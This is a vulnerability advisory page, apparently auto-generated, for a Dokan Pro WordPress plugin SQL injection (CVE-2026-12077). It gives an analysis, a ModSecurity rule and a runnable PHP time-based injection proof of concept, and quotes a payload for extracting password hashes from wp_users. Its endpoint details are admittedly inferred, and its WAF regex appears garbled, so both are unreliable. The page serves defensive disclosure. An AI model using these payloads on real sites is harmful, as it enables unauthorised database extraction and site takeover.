Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 24, 2026

CVE-2026-12077: Dokan Pro <= 5.0.4 Unauthenticated SQL Injection via 'latitude' and 'longitude' Parameters PoC, Patch Analysis & Rule

Plugin dokan-pro
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 5.0.4
Patched Version
Disclosed June 23, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12077 (metadata-based): This vulnerability is an unauthenticated time-based SQL Injection in the Dokan Pro plugin for WordPress, affecting versions up to and including 5.0.4. The flaw exists in the handling of ‘latitude’ and ‘longitude’ parameters, allowing unauthenticated attackers to extract sensitive database information. The CVSS score is 7.5 (High), with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, reflecting the high confidentiality impact and no requirement for authentication or user interaction.

Root Cause: Based on the CWE-89 classification and description, Atomic Edge analysis infers that the plugin directly incorporates user-supplied ‘latitude’ and ‘longitude’ parameters into an SQL query without proper escaping or parameterized queries (prepared statements). The vulnerability is classified as time-based SQL injection, meaning the attacker manipulates SQL ‘SLEEP()’ or similar timing functions to infer database structure or content by observing response delays. This is a confirmed type from the CVE description, but without source code access, the exact query construction remains inferred. The lack of nonce verification or capability checks on the AJAX endpoint handling these parameters is also inferred, as the vulnerability is exploitable by unauthenticated users.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted request to an AJAX endpoint (likely /wp-admin/admin-ajax.php) with an action parameter specific to Dokan Pro that processes geographic data. The attacker injects SQL commands through the ‘latitude’ and ‘longitude’ parameters, using time-based payloads such as: ‘ OR IF((SELECT SUBSTRING(user_pass,1,1) FROM wp_users LIMIT 1)=’a’,SLEEP(5),0) — -‘. The attack vector is network-based (AV:N), requires no privileges (PR:N), and no user interaction (UI:N). Atomic Edge research determines the exploitation is straightforward, as the parameters are directly accepted from the request without sanitization.

Remediation: The fix implemented in version 5.0.5 likely replaces direct string concatenation in SQL queries with parameterized queries using $wpdb->prepare() or similar methods. The plugin should escape user input with esc_sql() or use $wpdb->prepare() with %d or %f placeholders for numeric parameters like latitude and longitude. Additionally, the plugin should add nonce verification and capability checks to the AJAX handler to prevent unauthenticated access. Atomic Edge analysis recommends developers always use prepared statements for any database query involving external input and validate that numeric parameters are actually numeric before use.

Impact: Successful exploitation allows an unauthenticated attacker to extract any data from the WordPress database, including user password hashes, email addresses, session tokens, and potentially sensitive configuration data. While the CVSS impact scores only confidentiality (C:H), extracted password hashes can often be cracked offline, leading to privilege escalation and full site compromise. The attack is time-based, so extraction is slower but still practical. The vulnerability does not allow direct data modification (I:N) or availability impact (A:N), but the confidentiality breach is severe enough to warrant immediate patching.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-12077 (metadata-based)
# Blocks SQL injection attempts via the 'latitude' and 'longitude' parameters
# Matches exact AJAX action for Dokan Pro geolocation functionality
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12077 - Dokan Pro SQLi via latitude/longitude',severity:'CRITICAL',tag:'CVE-2026-12077'"
SecRule ARGS_POST:action "@streq dokan_pro_geolocation_search" "chain"
SecRule ARGS_POST:latitude|ARGS_POST:longitude "@rx (?i)b(SLEEP|BENCHMARK|IFs*(|UNIONb|ORs+d**?.*=.*)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12077 - Dokan Pro <= 5.0.4 - Unauthenticated SQL Injection via 'latitude' and 'longitude' Parameters

define('TARGET_URL', 'http://example.com'); // Change this to the target WordPress URL

$action = 'dokan_pro_geolocation_search'; // Inferred AJAX action based on plugin slug and parameter names
$target = TARGET_URL . '/wp-admin/admin-ajax.php';

// Time-based SQL injection payload to extract database version
$payload_lat = "1' OR IF((SELECT @@version) LIKE '%MariaDB%', SLEEP(5), 0) -- - ";
$payload_lng = "1";

$post_data = array(
    'action' => $action,
    'latitude' => $payload_lat,
    'longitude' => $payload_lng
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_HEADER, false);

$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;

if (curl_errno($ch)) {
    echo "cURL error: " . curl_error($ch) . "n";
    exit(1);
}

curl_close($ch);

echo "Response time: " . round($elapsed, 2) . " secondsn";
if ($elapsed >= 5) {
    echo "[+] Vulnerability confirmed: server responded with delay (likely SLEEP executed).n";
} else {
    echo "[-] No significant delay detected. Target may not be vulnerable, or injection failed.n";
}

// Example of extracting wp_config contents via time-based blind injection (for demonstration only)
// Note: This is a simplified example; real exploitation would require automated binary search.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School